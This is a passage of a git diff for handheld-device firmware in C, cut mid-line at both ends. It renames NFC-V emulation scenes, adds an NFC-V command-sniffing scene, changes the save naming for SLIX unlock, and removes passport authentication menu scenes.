nfc_scene_emulate_nfcv_on_event(void* context, SceneManagerEvent event) { +bool nfc_scene_nfcv_emulate_on_event(void* context, SceneManagerEvent event) { Nfc* nfc = context; NfcVData* nfcv_data = &nfc->dev->dev_data.nfcv_data; - uint32_t state = scene_manager_get_scene_state(nfc->scene_manager, NfcSceneEmulateNfcV); + uint32_t state = scene_manager_get_scene_state(nfc->scene_manager, NfcSceneNfcVEmulate); bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcCustomEventWorkerExit) { + if(event.event == NfcCustomEventUpdateLog) { // Add data button to widget if data is received for the first time - if(!furi_string_size(nfc->text_box_store)) { - nfc_scene_emulate_nfcv_widget_config(nfc, true); - } if(strlen(nfcv_data->last_command) > 0) { + if(!furi_string_size(nfc->text_box_store)) { + nfc_scene_nfcv_emulate_widget_config(nfc, true); + } /* use the last n bytes from the log so there's enough space for the new log entry */ size_t maxSize = NFC_SCENE_EMULATE_NFCV_LOG_SIZE_MAX - (strlen(nfcv_data->last_command) + 1); @@ -113,22 +121,27 @@ bool nfc_scene_emulate_nfcv_on_event(void* context, SceneManagerEvent event) { strcpy(nfcv_data->last_command, ""); } consumed = true; - } else if(event.event == GuiButtonTypeCenter && state == NfcSceneEmulateNfcVStateWidget) { + } else if(event.event == NfcCustomEventSaveShadow) { + if(furi_string_size(nfc->dev->load_path)) { + nfc_device_save_shadow(nfc->dev, furi_string_get_cstr(nfc->dev->load_path)); + } + consumed = true; + } else if(event.event == GuiButtonTypeCenter && state == NfcSceneNfcVEmulateStateWidget) { view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewTextBox); scene_manager_set_scene_state( - nfc->scene_manager, NfcSceneEmulateNfcV, NfcSceneEmulateNfcVStateTextBox); + nfc->scene_manager, NfcSceneNfcVEmulate, NfcSceneNfcVEmulateStateTextBox); consumed = true; - } else if(event.event == NfcCustomEventViewExit && state == NfcSceneEmulateNfcVStateTextBox) { + } else if(event.event == NfcCustomEventViewExit && state == NfcSceneNfcVEmulateStateTextBox) { view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); scene_manager_set_scene_state( - nfc->scene_manager, NfcSceneEmulateNfcV, NfcSceneEmulateNfcVStateWidget); + nfc->scene_manager, NfcSceneNfcVEmulate, NfcSceneNfcVEmulateStateWidget); consumed = true; } } else if(event.type == SceneManagerEventTypeBack) { - if(state == NfcSceneEmulateNfcVStateTextBox) { + if(state == NfcSceneNfcVEmulateStateTextBox) { view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); scene_manager_set_scene_state( - nfc->scene_manager, NfcSceneEmulateNfcV, NfcSceneEmulateNfcVStateWidget); + nfc->scene_manager, NfcSceneNfcVEmulate, NfcSceneNfcVEmulateStateWidget); consumed = true; } } @@ -136,7 +149,7 @@ bool nfc_scene_emulate_nfcv_on_event(void* context, SceneManagerEvent event) { return consumed; } -void nfc_scene_emulate_nfcv_on_exit(void* context) { +void nfc_scene_nfcv_emulate_on_exit(void* context) { Nfc* nfc = context; // Stop worker diff --git a/applications/main/nfc/scenes/nfc_scene_nfcv_menu.c b/applications/main/nfc/scenes/nfc_scene_nfcv_menu.c index b30495a05..44d677513 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfcv_menu.c +++ b/applications/main/nfc/scenes/nfc_scene_nfcv_menu.c @@ -16,9 +16,9 @@ void nfc_scene_nfcv_menu_on_enter(void* context) { Nfc* nfc = context; Submenu* submenu = nfc->submenu; - submenu_add_item(submenu, "Save", SubmenuIndexSave, nfc_scene_nfcv_menu_submenu_callback, nfc); submenu_add_item( submenu, "Emulate", SubmenuIndexEmulate, nfc_scene_nfcv_menu_submenu_callback, nfc); + submenu_add_item(submenu, "Save", SubmenuIndexSave, nfc_scene_nfcv_menu_submenu_callback, nfc); submenu_set_selected_item( nfc->submenu, scene_manager_get_scene_state(nfc->scene_manager, NfcSceneNfcVMenu)); @@ -38,7 +38,7 @@ bool nfc_scene_nfcv_menu_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(nfc->scene_manager, NfcSceneSaveName); consumed = true; } else if(event.event == SubmenuIndexEmulate) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateNfcV); + scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVEmulate); if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetType)) { DOLPHIN_DEED(DolphinDeedNfcAddEmulate); } else { diff --git a/applications/main/nfc/scenes/nfc_scene_nfcv_sniff.c b/applications/main/nfc/scenes/nfc_scene_nfcv_sniff.c new file mode 100644 index 000000000..2c0f17981 --- /dev/null +++ b/applications/main/nfc/scenes/nfc_scene_nfcv_sniff.c @@ -0,0 +1,155 @@ +#include "../nfc_i.h" + +#define NFC_SCENE_EMULATE_NFCV_LOG_SIZE_MAX (800) + +enum { + NfcSceneNfcVSniffStateWidget, + NfcSceneNfcVSniffStateTextBox, +}; + +bool nfc_scene_nfcv_sniff_worker_callback(NfcWorkerEvent event, void* context) { + UNUSED(event); + furi_assert(context); + Nfc* nfc = context; + + switch(event) { + case NfcWorkerEventNfcVCommandExecuted: + view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventUpdateLog); + break; + case NfcWorkerEventNfcVContentChanged: + view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventSaveShadow); + break; + default: + break; + } + return true; +} + +void nfc_scene_nfcv_sniff_widget_callback(GuiButtonType result, InputType type, void* context) { + furi_assert(context); + Nfc* nfc = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(nfc->view_dispatcher, result); + } +} + +void nfc_scene_nfcv_sniff_textbox_callback(void* context) { + furi_assert(context); + Nfc* nfc = context; + view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventViewExit); +} + +static void nfc_scene_nfcv_sniff_widget_config(Nfc* nfc, bool data_received) { + Widget* widget = nfc->widget; + widget_reset(widget); + FuriString* info_str; + info_str = furi_string_alloc(); + + widget_add_icon_element(widget, 0, 3, &I_RFIDDolphinSend_97x61); + widget_add_string_element(widget, 89, 32, AlignCenter, AlignTop, FontPrimary, "Listen NfcV"); + furi_string_trim(info_str); + widget_add_text_box_element( + widget, 56, 43, 70, 21, AlignCenter, AlignTop, furi_string_get_cstr(info_str), true); + furi_string_free(info_str); + if(data_received) { + widget_add_button_element( + widget, GuiButtonTypeCenter, "Log", nfc_scene_nfcv_sniff_widget_callback, nfc); + } +} + +void nfc_scene_nfcv_sniff_on_enter(void* context) { + Nfc* nfc = context; + + // Setup Widget + nfc_scene_nfcv_sniff_widget_config(nfc, false); + // Setup TextBox + TextBox* text_box = nfc->text_box; + text_box_set_font(text_box, TextBoxFontHex); + text_box_set_focus(text_box, TextBoxFocusEnd); + text_box_set_text(text_box, ""); + furi_string_reset(nfc->text_box_store); + + // Set Widget state and view + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneNfcVSniff, NfcSceneNfcVSniffStateWidget); + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); + // Start worker + memset(&nfc->dev->dev_data.reader_data, 0, sizeof(NfcReaderRequestData)); + nfc_worker_start( + nfc->worker, + NfcWorkerStateNfcVSniff, + &nfc->dev->dev_data, + nfc_scene_nfcv_sniff_worker_callback, + nfc); + + nfc_blink_emulate_start(nfc); +} + +bool nfc_scene_nfcv_sniff_on_event(void* context, SceneManagerEvent event) { + Nfc* nfc = context; + NfcVData* nfcv_data = &nfc->dev->dev_data.nfcv_data; + uint32_t state = scene_manager_get_scene_state(nfc->scene_manager, NfcSceneNfcVSniff); + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == NfcCustomEventUpdateLog) { + // Add data button to widget if data is received for the first time + if(strlen(nfcv_data->last_command) > 0) { + if(!furi_string_size(nfc->text_box_store)) { + nfc_scene_nfcv_sniff_widget_config(nfc, true); + } + /* use the last n bytes from the log so there's enough space for the new log entry */ + size_t maxSize = + NFC_SCENE_EMULATE_NFCV_LOG_SIZE_MAX - (strlen(nfcv_data->last_command) + 1); + if(furi_string_size(nfc->text_box_store) >= maxSize) { + furi_string_right(nfc->text_box_store, (strlen(nfcv_data->last_command) + 1)); + } + furi_string_cat_printf(nfc->text_box_store, "%s", nfcv_data->last_command); + furi_string_push_back(nfc->text_box_store, '\n'); + text_box_set_text(nfc->text_box, furi_string_get_cstr(nfc->text_box_store)); + + /* clear previously logged command */ + strcpy(nfcv_data->last_command, ""); + } + consumed = true; + } else if(event.event == NfcCustomEventSaveShadow) { + if(furi_string_size(nfc->dev->load_path)) { + nfc_device_save_shadow(nfc->dev, furi_string_get_cstr(nfc->dev->load_path)); + } + consumed = true; + } else if(event.event == GuiButtonTypeCenter && state == NfcSceneNfcVSniffStateWidget) { + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewTextBox); + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneNfcVSniff, NfcSceneNfcVSniffStateTextBox); + consumed = true; + } else if(event.event == NfcCustomEventViewExit && state == NfcSceneNfcVSniffStateTextBox) { + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneNfcVSniff, NfcSceneNfcVSniffStateWidget); + consumed = true; + } + } else if(event.type == SceneManagerEventTypeBack) { + if(state == NfcSceneNfcVSniffStateTextBox) { + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); + scene_manager_set_scene_state( + nfc->scene_manager, NfcSceneNfcVSniff, NfcSceneNfcVSniffStateWidget); + consumed = true; + } + } + + return consumed; +} + +void nfc_scene_nfcv_sniff_on_exit(void* context) { + Nfc* nfc = context; + + // Stop worker + nfc_worker_stop(nfc->worker); + + // Clear view + widget_reset(nfc->widget); + text_box_reset(nfc->text_box); + furi_string_reset(nfc->text_box_store); + + nfc_blink_stop(nfc); +} diff --git a/applications/main/nfc/scenes/nfc_scene_nfcv_unlock.c b/applications/main/nfc/scenes/nfc_scene_nfcv_unlock.c index b52cc0caa..26de304de 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfcv_unlock.c +++ b/applications/main/nfc/scenes/nfc_scene_nfcv_unlock.c @@ -42,10 +42,10 @@ void nfc_scene_nfcv_unlock_set_state(Nfc* nfc, NfcSceneNfcVUnlockState state) { popup_reset(popup); if(nfc_worker_get_state(nfc->worker) == NfcWorkerStateNfcVUnlockAndSave) { - nfc_text_store_set( - nfc, - "%s/SLIX_%02X%02X%02X%02X%02X%02X%02X%02X%s", - NFC_APP_FOLDER, + snprintf( + nfc->dev->dev_name, + sizeof(nfc->dev->dev_name), + "SLIX_%02X%02X%02X%02X%02X%02X%02X%02X", nfc_data->uid[0], nfc_data->uid[1], nfc_data->uid[2], @@ -53,12 +53,11 @@ void nfc_scene_nfcv_unlock_set_state(Nfc* nfc, NfcSceneNfcVUnlockState state) { nfc_data->uid[4], nfc_data->uid[5], nfc_data->uid[6], - nfc_data->uid[7], - NFC_APP_EXTENSION); + nfc_data->uid[7]); nfc->dev->format = NfcDeviceSaveFormatNfcV; - if(nfc_device_save(nfc->dev, nfc->text_store)) { + if(nfc_save_file(nfc)) { popup_set_header(popup, "Successfully\nsaved", 94, 3, AlignCenter, AlignTop); } else { popup_set_header( diff --git a/applications/main/nfc/scenes/nfc_scene_passport_auth.c b/applications/main/nfc/scenes/nfc_scene_passport_auth.c deleted file mode 100644 index 7bb13e1a1..000000000 --- a/applications/main/nfc/scenes/nfc_scene_passport_auth.c +++ /dev/null @@ -1,194 +0,0 @@ -#include "../nfc_i.h" - -#define TAG "PassportAuth" - -#define MRTD_AUTH_METHOD_COUNT 4 -// Must match MrtdAuthMethod size (lib/nfc/protocols/mrtd_helpers.h) - -typedef enum { - NfcScenePassportAuthSelectDob, - NfcScenePassportAuthSelectDoe, - NfcScenePassportAuthSelectDocNr, - NfcScenePassportAuthSelectMethod, - NfcScenePassportAuthSelectAuth, - NfcScenePassportAuthSelectSave, - NfcScenePassportAuthSelectLoad, -} NfcScenePassportAuthSelect; - -void nfc_scene_passport_auth_var_list_enter_callback(void* context, uint32_t index) { - Nfc* nfc = context; - view_dispatcher_send_custom_event(nfc->view_dispatcher, index); -} - -void nfc_scene_passport_auth_method_changed(VariableItem* item) { - Nfc* nfc = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - nfc->dev->dev_data.mrtd_data.auth.method = index; - variable_item_set_current_value_text(item, mrtd_auth_method_string(index)); -} - -bool nfc_scene_passport_auth_load(Nfc* nfc) { - const DialogsFileBrowserOptions browser_options = { - .extension = MRTD_APP_EXTENSION, - .skip_assets = true, - .icon = &I_u2f_10px, - .hide_ext = true, - .item_loader_callback = NULL, - .item_loader_context = NULL, - }; - - FuriString* mrtd_app_folder; - mrtd_app_folder = furi_string_alloc_set(MRTD_APP_FOLDER); - - FuriString* file_path; - file_path = furi_string_alloc(); - - bool res = - dialog_file_browser_show(nfc->dev->dialogs, file_path, mrtd_app_folder, &browser_options); - - furi_string_free(mrtd_app_folder); - - if(res) { - mrtd_auth_params_load( - nfc->dev->storage, - nfc->dev->dialogs, - &nfc->dev->dev_data.mrtd_data.auth, - furi_string_get_cstr(file_path), - true); - - nfc_scene_passport_auth_on_enter(nfc); - variable_item_list_set_selected_item( - nfc->variable_item_list, NfcScenePassportAuthSelectAuth); - } - - return res; -} - -void nfc_scene_passport_auth_on_enter(void* context) { - Nfc* nfc = context; - MrtdData* mrtd_data = &nfc->dev->dev_data.mrtd_data; - - // By entering the Auth menu, we default to Auth: Any - MrtdAuthMethod* auth_method = &mrtd_data->auth.method; - if(*auth_method == MrtdAuthMethodNone) { - *auth_method = MrtdAuthMethodAny; - } - - VariableItemList* variable_item_list = nfc->variable_item_list; - variable_item_list_reset(variable_item_list); - - VariableItem* item; - uint8_t value_index; - - const size_t temp_str_size = 15; - char temp_str[temp_str_size]; - snprintf( - temp_str, - temp_str_size, - "%02u%02u%02u", - mrtd_data->auth.birth_date.year, - mrtd_data->auth.birth_date.month, - mrtd_data->auth.birth_date.day); - - item = variable_item_list_add(variable_item_list, "Birth Date", 1, NULL, NULL); - variable_item_set_current_value_text(item, temp_str); - - snprintf( - temp_str, - temp_str_size, - "%02u%02u%02u", - mrtd_data->auth.expiry_date.year, - mrtd_data->auth.expiry_date.month, - mrtd_data->auth.expiry_date.day); - - item = variable_item_list_add(variable_item_list, "Expiry Date", 1, NULL, NULL); - variable_item_set_current_value_text(item, temp_str); - - item = variable_item_list_add(variable_item_list, "Document Nr.", 1, NULL, NULL); - - strncpy(temp_str, mrtd_data->auth.doc_number, temp_str_size); - temp_str[temp_str_size - 1] = '\x00'; - if(strlen(temp_str) > 8) { - temp_str[8] = '.'; - temp_str[9] = '.'; - temp_str[10] = '.'; - temp_str[11] = '\x00'; - } - variable_item_set_current_value_text(item, temp_str); - - item = variable_item_list_add( - variable_item_list, - "Method", - MRTD_AUTH_METHOD_COUNT, - nfc_scene_passport_auth_method_changed, - nfc); - - value_index = *auth_method; - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, mrtd_auth_method_string(value_index)); - - variable_item_list_add(variable_item_list, "Authenticate and read", 1, NULL, NULL); - - variable_item_list_add(variable_item_list, "Save parameters", 1, NULL, NULL); - variable_item_list_add(variable_item_list, "Load parameters", 1, NULL, NULL); - - variable_item_list_set_enter_callback( - variable_item_list, nfc_scene_passport_auth_var_list_enter_callback, nfc); - view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewVarItemList); -} - -bool nfc_scene_passport_auth_on_event(void* context, SceneManagerEvent event) { - Nfc* nfc = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - FURI_LOG_D(TAG, "event.event: %ld", event.event); - switch(event.event) { - case NfcScenePassportAuthSelectLoad: - nfc_scene_passport_auth_load(nfc); - consumed = true; - break; - case NfcScenePassportAuthSelectDob: - scene_manager_set_scene_state(nfc->scene_manager, NfcScenePassportDate, 0); - scene_manager_next_scene(nfc->scene_manager, NfcScenePassportDate); - consumed = true; - break; - case NfcScenePassportAuthSelectDoe: - scene_manager_set_scene_state(nfc->scene_manager, NfcScenePassportDate, 1); - scene_manager_next_scene(nfc->scene_manager, NfcScenePassportDate); - consumed = true; - break; - case NfcScenePassportAuthSelectDocNr: - scene_manager_next_scene(nfc->scene_manager, NfcScenePassportDocNr); - consumed = true; - break; - case NfcScenePassportAuthSelectMethod: - consumed = true; - break; - case NfcScenePassportAuthSelectAuth: - if(nfc->dev->dev_data.mrtd_data.auth.method == MrtdAuthMethodPace) { - scene_manager_next_scene(nfc->scene_manager, NfcScenePassportPaceTodo); - } else { - nfc_device_clear(nfc->dev); - scene_manager_next_scene(nfc->scene_manager, NfcSceneRead); - } - consumed = true; - break; - case NfcScenePassportAuthSelectSave: - scene_manager_next_scene(nfc->scene_manager, NfcScenePassportAuthSaveName); - consumed = true; - break; - } - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_previous_scene(nfc->scene_manager); - } - - return consumed; -} - -void nfc_scene_passport_auth_on_exit(void* context) { - Nfc* nfc = context; - - // Clear view - variable_item_list_reset(nfc->variable_item_list); -} diff --git a/applications/main/nfc/scenes/nfc_scene_passport_auth_save_name.c b/applications/main/nfc/scenes/nfc_scene_passport_auth_save_name.c deleted file mode 100644 index 65fee0bcf..000000000 --- a/applications/main/nfc/scenes/nfc_scene_passport_auth_save_name.c +++ /dev/null @@ -1,82 +0,0 @@ -#include "../nfc_i.h" -#include -#include -#include - -void nfc_scene_passport_auth_save_name_text_input_callback(void* context) { - Nfc* nfc = context; - - view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventTextInputDone); -} - -void nfc_scene_passport_auth_save_name_on_enter(void* context) { - Nfc* nfc = context; - - MrtdData* mrtd_data = &nfc->dev->dev_data.mrtd_data; - - // Setup view - TextInput* text_input = nfc->text_input; - bool docnr_empty = false; - if(!strcmp(mrtd_data->auth.doc_number, "")) { - set_random_name(nfc->text_store, sizeof(nfc->text_store)); - docnr_empty = true; - } else { - nfc_text_store_set(nfc, mrtd_data->auth.doc_number); - } - text_input_set_header_text(text_input, "Name the parameters"); - text_input_set_result_callback( - text_input, - nfc_scene_passport_auth_save_name_text_input_callback, - nfc, - nfc->text_store, - NFC_DEV_NAME_MAX_LEN, - docnr_empty); - - FuriString* folder_path; - folder_path = furi_string_alloc(); - - if(furi_string_end_with(nfc->dev->load_path, NFC_APP_EXTENSION)) { - path_extract_dirname(furi_string_get_cstr(nfc->dev->load_path), folder_path); - } else { - furi_string_set(folder_path, NFC_APP_FOLDER); - } - - ValidatorIsFile* validator_is_file = - validator_is_file_alloc_init(furi_string_get_cstr(folder_path), NFC_APP_EXTENSION, NULL); - text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); - - view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewTextInput); - - furi_string_free(folder_path); -} - -bool nfc_scene_passport_auth_save_name_on_event(void* context, SceneManagerEvent event) { - Nfc* nfc = context; - MrtdData* mrtd_data = &nfc->dev->dev_data.mrtd_data; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcCustomEventTextInputDone) { - if(mrtd_auth_params_save( - nfc->dev->storage, nfc->dev->dialogs, &mrtd_data->auth, nfc->text_store)) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneSaveSuccess); - consumed = true; - } else { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc->scene_manager, NfcSceneStart); - } - } - } - return consumed; -} - -void nfc_scene_passport_auth_save_name_on_exit(void* context) { - Nfc* nfc = context; - - // Clear view - void* validator_context = text_input_get_validator_callback_context(nfc->text_input); - text_input_set_validator(nfc->text_input, NULL, NULL); - validator_is_file_free(validator_context); - - text_input_reset(nfc->text_input); -} diff --git a/applications/main/nfc/scenes/nfc_scene_passport_date.c b/applications/main/nfc/scenes/nfc_scene_passport_date.c deleted file mode 100644 index 4594721df..000000000 --- a/applications/main/nfc/scenes/nfc_scene_passport_date.c +++ /dev/null @@ -1,125 +0,0 @@ -#include "../nfc_i.h" -#include "m-string.h" -#include - -#define TAG "PassportDate" - -#define DATE_LENGTH 6 - -//TODO: use types in .h file? also in nfc_scene_passport_bac.c -#define NFC_PASSPORT_DATE_BIRTH 0 -#define NFC_PASSPORT_DATE_EXPIRY 1 - -void nfc_scene_passport_date_text_input_callback(void* context) { - Nfc* nfc = context; - - view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventTextInputDone); -} - -void nfc_scene_passport_date_on_enter(void* context) { - Nfc* nfc = context; - - MrtdDate date_value; - - uint32_t date_type = scene_manager_get_scene_state(nfc->scene_manager, NfcScenePassportDate); - - //TODO: numbers only - TextInput* text_input = nfc->text_input; - - // TODO: Clean this up because I'm bad - date_value.year = 0; - date_value.month = 0; - date_value.day = 0; - - switch(date_type) { - case NFC_PASSPORT_DATE_BIRTH: - text_input_set_header_text(text_input, "Birth Date"); - date_value = nfc->dev->dev_data.mrtd_data.auth.birth_date; - break; - case NFC_PASSPORT_DATE_EXPIRY: - text_input_set_header_text(text_input, "Expiry Date"); - date_value = nfc->dev->dev_data.mrtd_data.auth.expiry_date; - break; - } - - bool date_empty = false; - if(date_value.year == 0 || date_value.month == 0 || date_value.day == 0 || - date_value.year > 100 || date_value.month > 13 || date_value.day > 31) { - nfc_text_store_set(nfc, "YYMMDD"); - date_empty = true; - } else { - char temp_str[10]; - snprintf(temp_str, 10, "%02u%02u%02u", date_value.year, date_value.month, date_value.day); - - memcpy(nfc->text_store, temp_str, DATE_LENGTH); - nfc->text_store[DATE_LENGTH] = '\x00'; - } - - text_input_set_result_callback( - text_input, - nfc_scene_passport_date_text_input_callback, - nfc, - nfc->text_store, - DATE_LENGTH + 1, // incl. '\x00' - date_empty); // Use as template - - //TODO: add validator for valid date (YYMMDD) - - view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewTextInput); -} - -bool nfc_scene_passport_date_save(Nfc* nfc) { - int year; - int month; - int day; - int ret = sscanf(nfc->text_store, "%02d%02d%02d", &year, &month, &day); - - if(ret != 3) { - FURI_LOG_E(TAG, "Invalid date entered (YYMMDD): %s", nfc->text_store); - return false; - } - - MrtdDate date_value; - date_value.year = year; - date_value.month = month; - date_value.day = day; - - uint32_t date_type = scene_manager_get_scene_state(nfc->scene_manager, NfcScenePassportDate); - - //TODO: use types in .h file? also in nfc_scene_passport_bac.c - switch(date_type) { - case NFC_PASSPORT_DATE_BIRTH: - nfc->dev->dev_data.mrtd_data.auth.birth_date = date_value; - break; - case NFC_PASSPORT_DATE_EXPIRY: - nfc->dev->dev_data.mrtd_data.auth.expiry_date = date_value; - break; - } - - return true; -} - -bool nfc_scene_passport_date_on_event(void* context, SceneManagerEvent event) { - Nfc* nfc = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcCustomEventTextInputDone) { - nfc_scene_passport_date_save(nfc); - //TODO: handle invalid date (returned false) - - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc->scene_manager, NfcScenePassportAuth); - } - } - return consumed; -} - -void nfc_scene_passport_date_on_exit(void* context) { - Nfc* nfc = context; - - // Clear view - // TODO: clear validator - - text_input_reset(nfc->text_input); -} diff --git a/applications/main/nfc/scenes/nfc_scene_passport_docnr.c b/applications/main/nfc/scenes/nfc_scene_passport_docnr.c deleted file mode 100644 index 109415759..000000000 --- a/applications/main/nfc/scenes/nfc_scene_passport_docnr.c +++ /dev/null @@ -1,67 +0,0 @@ -#include "../nfc_i.h" -#include "m-string.h" -#include - -#define TAG "PassportDocnr" - -void nfc_scene_passport_docnr_text_input_callback(void* context) { - Nfc* nfc = context; - - view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventTextInputDone); -} - -void nfc_scene_passport_docnr_on_enter(void* context) { - Nfc* nfc = context; - - TextInput* text_input = nfc->text_input; - text_input_set_header_text(text_input, "Document Nr."); - - char* docnr = nfc->dev->dev_data.mrtd_data.auth.doc_number; - bool docnr_empty = false; - - if(*docnr) { - nfc_text_store_set(nfc, docnr); - docnr_empty = false; - } else { - nfc_text_store_set(nfc, "PA7HJ34M8"); - docnr_empty = true; - } - - text_input_set_result_callback( - text_input, - nfc_scene_passport_docnr_text_input_callback, - nfc, - nfc->text_store, - MRTD_DOCNR_MAX_LENGTH, // incl. '\x00' - docnr_empty); // Use as template - - //TODO: add validator? - - view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewTextInput); -} - -bool nfc_scene_passport_docnr_save(Nfc* nfc) { - strncpy(nfc->dev->dev_data.mrtd_data.auth.doc_number, nfc->text_store, MRTD_DOCNR_MAX_LENGTH); - return true; -} - -bool nfc_scene_passport_docnr_on_event(void* context, SceneManagerEvent event) { - Nfc* nfc = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcCustomEventTextInputDone) { - nfc_scene_passport_docnr_save(nfc); - - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc->scene_manager, NfcScenePassportAuth); - } - } - return consumed; -} - -void nfc_scene_passport_docnr_on_exit(void* context) { - Nfc* nfc = context; - - text_input_reset(nfc->text_input); -} diff --git a/applications/main/nfc/scenes/nfc_scene_passport_menu.c b/applications/main/nfc/scenes/nfc_scene_passport_menu.c deleted file mode 100644 index 27febcb18..000000000 --- a/applications/main/nfc/scenes/nfc_scene_passport_menu.c +++ /dev/null @@ -1,57 +0,0 @@ -#include "../nfc_i.h" - -enum SubmenuIndex { - SubmenuIndexSave, - SubmenuIndexInfo, -}; - -void nfc_scene_passport_menu_submenu_callback(void* context, uint32_t index) { - Nfc* nfc = context; - - view_dispatcher_send_custom_event(nfc->view_dispatcher, index); -} - -void nfc_scene_passport_menu_on_enter(void* context) { - Nfc* nfc = context; - Submenu* submenu = nfc->submenu; - - submenu_add_item( - submenu, "Save", SubmenuIndexSave, nfc_scene_passport_menu_submenu_callback, nfc); - submenu_add_item( - submenu, "Info", SubmenuIndexInfo, nfc_scene_passport_menu_submenu_callback, nfc); - submenu_set_selected_item( - nfc->submenu, scene_manager_get_scene_state(nfc->scene_manager, NfcScenePassportMenu)); - - view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewMenu); -} - -bool nfc_scene_passport_menu_on_event(void* context, SceneManagerEvent event) { - Nfc* nfc = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexSave) { - //TODO: save more than just UID - nfc->dev->format = NfcDeviceSaveFormatUid; - // Clear device name - nfc_device_set_name(nfc->dev, ""); - scene_manager_next_scene(nfc->scene_manager, NfcSceneSaveName); - consumed = true; - } else if(event.event == SubmenuIndexInfo) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcDataInfo); - consumed = true; - } - scene_manager_set_scene_state(nfc->scene_manager, NfcScenePassportMenu, event.event); - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_previous_scene(nfc->scene_manager); - } - - return consumed; -} - -void nfc_scene_passport_menu_on_exit(void* context) { - Nfc* nfc = context; - - // Clear view - submenu_reset(nfc->submenu); -} diff --git a/applications/main/nfc/scenes/nfc_scene_passport_pace_todo.c b/applications/main/nfc/scenes/nfc_scene_passport_pace_todo.c deleted file mode 100644 index c6d7d7f6c..000000000 --- a/applications/main/nfc/scenes/nfc_scene_passport_pace_todo.c +++ /dev/null @@ -1,40 +0,0 @@ -#include "../nfc_i.h" - -void nfc_scene_passport_pace_todo_popup_callback(void* context) { - Nfc* nfc = context; - view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventViewExit); -} - -void nfc_scene_passport_pace_todo_on_enter(void* context) { - Nfc* nfc = context; - - // Setup view - Popup* popup = nfc->popup; - popup_set_icon(popup, 64, 16, &I_DolphinCommon_56x48); - popup_set_header(popup, "PACE not yet implemented", 4, 4, AlignLeft, AlignTop); - popup_set_timeout(popup, 2000); - popup_set_context(popup, nfc); - popup_set_callback(popup, nfc_scene_passport_pace_todo_popup_callback); - popup_enable_timeout(popup); - view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewPopup); -} - -bool nfc_scene_passport_pace_todo_on_event(void* context, SceneManagerEvent event) { - Nfc* nfc = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcCustomEventViewExit) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc->scene_manager, NfcScenePassportAuth); - } - } - return consumed; -} - -void nfc_scene_passport_pace_todo_on_exit(void* context) { - Nfc* nfc = context; - - // Clear view - popup_reset(nfc->popup); -} diff --git a/applications/main/nfc/scenes/nfc_scene_passport_read.c b/applications/main/nfc/scenes/nfc_scene_passport_read.c deleted file mode 100644 index 74f173b52..000000000 --- a/applications/main/nfc/scenes/nfc_scene_passport_read.c +++ /dev/null @@ -1,90 +0,0 @@ -#include "../nfc_i.h" -#include - -void nfc_scene_passport_read_widget_callback(GuiButtonType result, InputType type, void* context) { - Nfc* nfc = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc->view_dispatcher, result); - } -} - -void nfc_scene_passport_read_on_enter(void* context) { - Nfc* nfc = context; - FuriHalNfcDevData* data = &nfc->dev->dev_data.nfc_data; - MrtdData* mrtd_data = &nfc->dev->dev_data.mrtd_data; - - DOLPHIN_DEED(DolphinDeedNfcReadSuccess); - - Widget* widget = nfc->widget; - - // Setup Custom Widget view - FuriString* temp_str; - temp_str = furi_string_alloc(); - furi_string_set(temp_str, "\e#Passport\n"); - char iso_type = FURI_BIT(data->sak, 5) ? '4' : '3'; - - char nfc_type; - switch(data->type) { - case FuriHalNfcTypeA: - nfc_type = 'A'; - break; - case FuriHalNfcTypeB: - nfc_type = 'B'; - break; - default: - nfc_type = '?'; - break; 